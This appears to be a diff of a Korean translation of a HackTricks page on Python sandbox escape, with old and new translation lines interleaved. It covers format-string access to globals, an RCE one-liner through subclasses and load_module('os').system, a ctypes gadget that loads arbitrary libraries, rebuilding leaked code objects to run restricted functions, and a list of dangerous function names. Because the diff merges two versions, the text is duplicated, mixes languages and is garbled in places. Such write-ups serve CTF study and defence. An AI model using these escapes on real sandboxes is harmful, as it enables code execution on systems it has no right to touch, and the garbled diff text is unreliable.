bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -543,10 +545,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Builtins, Globals... 재귀 검색
## Builtins, Globals...에 대한 재귀 검색
> [!WARNING]
> 이건 정말 **대단합니다**. 만약 당신이 **globals, builtins, open 같은 객체를 찾고 있다면** 그냥 이 스크립트를 사용해 그 객체를 **찾을 수 있는 위치를 재귀적으로 찾아보세요.**
> 이건 정말 **굉장합니다**. 만약 당신이 **globals, builtins, open 같은 객체를 찾고 있다면** 이 스크립트를 사용해 그 객체를 찾을 수 있는 위치를 **재귀적으로 찾아내세요.**
```python
import os, sys # Import these to find more gadgets
@ -662,7 +664,7 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
You can check the output of this script on this page:
이 스크립트의 출력은 다음 페이지에서 확인할 수 있습니다:
{{#ref}}
@ -671,7 +673,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python Format String
만약 포맷될 **문자열**을 **python**에 **전송**하면, `{}`를 사용해 **python 내부 정보**에 접근할 수 있습니다. 이전 예제들을 사용해 globals나 builtins에 접근할 수 있습니다.
만약 python에 **문자열**을 **보내서** **포맷팅되는** 형태로 만들면, `{}`를 사용해 **python 내부 정보**에 접근할 수 있습니다. 예를 들어 이전 예제들을 사용해 globals나 builtins에 접근할 수 있습니다.
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -691,16 +693,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Note how you can **속성에 접근** in a normal way with a **점(dot)** like `people_obj.__init__` and **dict 요소** with **대괄호** without quotes `__globals__[CONFIG]`
다음과 같이 **속성에 접근**을 일반적인 방식으로 **점(dot)**으로 `people_obj.__init__`처럼 할 수 있고, **dict 요소**는 따옴표 없이 **괄호**로 `__globals__[CONFIG]`처럼 접근할 수 있다는 점에 주목하세요.
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
또한 `.__dict__`를 사용해 객체의 요소들을 열거할 수 있습니다: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Some other interesting characteristics from **format strings** is the possibility of **실행** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
format strings의 다른 흥미로운 특징으로는, 지정된 객체에 대해 **실행**할 수 있는 **함수들** **`str`**, **`repr`** 및 **`ascii`**가 각각 **`!s`**, **`!r`**, **`!a`**를 추가함으로써 호출된다는 점입니다:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
또한 클래스에서 **code new formatters** 할 수 있습니다:
또한 클래스에서 **code new formatters**를 작성할 수 있습니다:
```python
class HAL9000(object):
def __format__(self, format):
@ -711,10 +713,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**추가 예제**는 **format** **string** 예제를 [**https://pyformat.info/**](https://pyformat.info)에서 확인할 수 있습니다
**더 많은 예제**는 **format** **string** 관련 예제를 [**https://pyformat.info/**](https://pyformat.info)에서 확인할 수 있습니다
> [!CAUTION]
> 다음 페이지도 확인하세요 gadgets that will r**ead sensitive information from Python internal objects**:
> 다음 페이지도 확인하세요. gadgets that will r**ead sensitive information from Python internal objects**:
{{#ref}}
@ -741,17 +743,16 @@ str(x) # Out: clueless
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### format에서 라이브러리 로딩으로 RCE 얻기
### format에서 라이브러리 로드로 RCE
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
간단히 말해, python에서 어떤 동작이 수행될 때마다 특정 함수가 실행된다. 예를 들어 `2*3`**`(2).mul(3)`** 를 실행하고, **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** 를 실행한다.
참고로, python에서 어떤 연산이 수행될 때마다 어떤 함수가 실행됩니다. 예를 들어 `2*3`**`(2).mul(3)`**을 실행하고, **`{'a':'b'}['a']`**는 **`{'a':'b'}.__getitem__('a')`**을 실행합니다.
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
python format string vuln은 함수를 실행할 수 없게 한다(괄호를 사용할 수 없으므로), 따라서 `'{0.system("/bin/sh")}'.format(os)` 같은 RCE를 얻는 것은 불가능하다.\
하지만 `[]` 를 사용할 수는 있다. 따라서, 만약 일반적인 python 라이브러리가 임의의 코드를 실행하는 **`__getitem__`** 또는 **`__getattr__`** 메서드를 가지고 있다면, 이를 악용해 RCE를 얻을 수 있다.
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
@ -775,20 +776,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
이 gadget은 디스크에서 **라이브러리를 로드**할 수 있게 해준다. 따라서 공격 대상 서버에 로드할 라이브러리를 올바르게 컴파일된 상태로 어떤 식으로든 **쓰기 또는 업로드**해야 한다.
이 gadget은 **load a library from disk** 할 수 있게 해준다. 따라서 공격 대상 server에 올바르게 컴파일된 **write or upload the library to load** 를 어떻게든 써넣거나 업로드해야 한다.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
이 챌린지는 실제로 서버의 다른 취약점을 악용하여 서버 디스크에 임의의 파일을 생성할 수 있게 합니다.
## Python 객체 분석
## Dissecting Python Objects
> [!TIP]
> **python bytecode**에 대해 깊이 **배우고** 싶다면 이 주제에 관한 이 **훌륭한** 글을 읽어보세요: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
몇몇 CTFs에서는 플래그가 위치한 **custom function where the flag**의 이름을 제공받을 수 있으며, 그것을 추출하려면 해당 **function**의 **internals**을 확인해야 합니다.
일부 CTFs에서는 flag가 위치한 **custom function**의 이름을 제공받을 수 있으며, 이를 추출하려면 해당 **function**의 **internals**를 확인해야 합니다.
This is the function to inspect:
검사할 함수는 다음과 같습니다:
```python
def get_flag(some_input):
var1=1
@ -808,7 +809,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` and `func_globals`(Same) 전역 환경을 얻습니다. 예제에서는 몇몇 import된 모듈과 전역 변수 및 그 내용이 선언된 것을 볼 수 있습니다:
`__globals__` and `func_globals`(같음) 전역 환경을 가져옵니다. 예제에서는 일부 가져온 모듈과 일부 전역 변수 및 그 내용이 선언된 것을 볼 수 있습니다:
```python
get_flag.func_globals
get_flag.__globals__
@ -821,7 +822,7 @@ CustomClassObject.__class__.__init__.__globals__
### **함수 코드에 접근하기**
**`__code__`** 및 `func_code`: 함수의 이 **속성**에 **접근**하여 함수의 **코드 객체를 얻을 수 있습니다**.
**`__code__`** 및 `func_code`: 함수의 이 **속성**에 **접근**하여 함수의 **코드 객체**를 얻을 수 있습니다.
```python
# In our current example
get_flag.__code__
@ -835,7 +836,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### 코드 정보 가져오
### 코드 정보
```python
# Another example
s = '''
@ -881,7 +882,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **함수 역어셈블**
### **Disassembly 함수**
```python
import dis
dis.dis(get_flag)
@ -909,7 +910,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
주의: **python sandbox에서 `dis`를 import할 수 없다면** 함수의 **bytecode**(`get_flag.func_code.co_code`)를 얻어 로컬에서 **disassemble**할 수 있습니다. 로딩되는 변수들의 내용(`LOAD_CONST`)은 볼 수 없지만, `get_flag.func_code.co_consts`에서 추측할 수 있습니다. `LOAD_CONST`는 로되는 변수의 오프셋도 알려주기 때문입니다.
참고: **python sandbox에서 `dis`를 import할 수 없는 경우** 함수의 **bytecode** (`get_flag.func_code.co_code`)를 얻어 로컬에서 **disassemble**할 수 있습니다. `LOAD_CONST`로 로드되는 변수의 내용은 보이지 않지만, `get_flag.func_code.co_consts`에서 이를 추측할 수 있습니다. `LOAD_CONST`는 로되는 변수의 오프셋도 알려주기 때문입니다.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -931,10 +932,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Python 컴파일
## Compiling Python
이제, 어떤 식으로든 **실행할 수 없는 함수에 대한 정보를 dump할 수** 있는데, 그 함수를 **실행**해야 할 **필요**가 있다고 상상해보자.\
다음 예처럼, 해당 함수의 **code object에 접근할 수** 있지만, disassemble을 읽어보는 것만으로는 **flag를 어떻게 계산하는지 알 수 없다** (_좀 더 복잡한 `calc_flag` 함수라고 상상해보라_)
이제 어떤 식으로든 **실행할 수 없는 함수에 대한 정보를 dump할 수 있지만** 그 함수를 **반드시** **실행해야**다고 상상해보자.\
아래 예제처럼, 그 함수의 **code object에 접근할 수는 있지만**, disassemble만 읽어서는 **flag를 어떻게 계산하는지 알 수 없다** (_더 복잡한 `calc_flag` 함수를 상상해보라_)
```python
def get_flag(some_input):
var1=1
@ -949,7 +950,7 @@ return "Nope"
```
### code object 생성
우선, 우리 **code object를 생성하고 실행하는 방법**을 알아야 합니다. 그래야 leaked된 우리 함수를 실행하기 위해 하나를 만들 수 있습니다:
우선, 우리의 함수 leaked를 실행하기 위해 **code object를 생성하고 실행하는 방법**을 알아야 합니다:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -969,7 +970,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> Python 버전에 따라 `code_type`**매개변수** 순서가 **다를 수 있습니다**. 사용 중인 python 버전에서 매개변수의 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
> Python 버전에 따라 `code_type`**매개변수** 순서가 **다를 수 있습니다**. 현재 사용 중인 Python 버전에서 파라미터 순서를 확인하는 가장 좋은 방법은 다음을 실행하는 것입니다:
>
> ```
> import types
@ -980,7 +981,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### leaked 함수 재생성
> [!WARNING]
> 다음 예제에서는 함수의 code object에서 함수 재생성에 필요한 모든 데이터를 직접 가져옵니다. **실제 예제**에서는 함수를 실행하기 위한 모든 **값들**(함수 **`code_type`**)이 바로 **여러분이 leak해야 하는 것들입니다**.
> 다음 예제에서는 함수 코드 객체에서 직접 함수를 재생성하는 데 필요한 모든 데이터를 가져옵니다. **실제 예제**에서는 함수를 실행하기 위한 모든 **값들**, 즉 **`code_type`**이 여러분이 반드시 leak해야 하는 항목입니다.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -993,10 +994,11 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 방어 우회
이 글 초반의 이전 예시들에서 **`compile` 함수를 사용해 어떤 python 코드든 실행하는 방법**을 볼 수 있습니다. 이는 루프 등 모든 것을 포함한 **전체 스크립트**를 **one liner**로 실행할 수 있기 때문에 흥미롭습니다(그리고 **`exec`**를 사용해 동일하게 할 수도 있습니다).\
어쨌든, 때때로 로컬 머신에서 **compiled object**를 생성하고 이를 **CTF machine**에서 실행하는 것이 유용할 수 있습니다(예: CTF에 `compiled` 함수가 없기 때문입니다).
이 게시물 초반의 이전 예제들에서 **`compile` 함수를 사용해 어떤 python 코드든 실행하는 방법을 볼 수 있습니다**.
이것은 **루프 등 모든 것을 포함한 전체 스크립트를** **한 줄(one-liner)**로 실행할 수 있기 때문에 흥미롭습니다(그리고 **`exec`**로도 같은 일을 할 수 있습니다).\
어쨌든, 때때로 로컬 머신에서 **생성**한 **컴파일된 객체**를 **CTF machine**에서 실행하는 것이 유용할 수 있습니다(예: CTF에 `compiled` 함수가 없기 때문입니다).
예를 들어, _./poc.py_를 읽는 함수를 수동으로 compile하고 실행해보겠습니다:
예를 들어, _./poc.py_를 읽는 함수를 수동으로 compile하고 실행해봅시다:
```python
#Locally
def read():
@ -1023,7 +1025,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
`eval` 또는 `exec`에 접근할 수 없다면 **적절한 function**을 만들 수 있지만, 이를 직접 호출하면 보통 다음과 같은 오류가 발생합니다: _constructor not accessible in restricted mode_. 따라서 이 function을 호출하기 위해서는 **제한된 환경에 있지 않은 function**이 필요합니다.
만약 `eval` 또는 `exec`에 접근할 수 없다면 **적절한 함수**를 만들 수 있지만, 그것을 직접 호출하면 보통 다음과 같은 오류가 발생합니다: _constructor not accessible in restricted mode_. 따라서 이 함수를 호출하려면 **제한된 환경에 속하지 않는 함수**가 필요합니다.
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1031,9 +1033,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## 컴파일된 Python 디컴파일
## Decompiling Compiled Python
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **디컴파일** given compiled python code.
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) 같은 도구를 사용하면 주어진 컴파일된 python 코드를 **decompile**할 수 있습니다.
**이 튜토리얼을 확인하세요**:
@ -1046,7 +1048,7 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o
### Assert
파라미터 `-O`로 최적화된 상태에서 실행된 Python은 asset statements 및 **debug** 값에 의존하는 모든 코드를 제거합니다.\
`-O` 파라미터로 최적화된 상태에서 실행되는 Python은 asset statements와 **debug** 값에 따라 조건부로 실행되는 모든 코드를 제거합니다.\
따라서, 다음과 같은 검사들은
```python
def check_permission(super_user):
@ -1056,9 +1058,9 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
우회니다
우회될 것입니다
## 참고자료
## 참
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)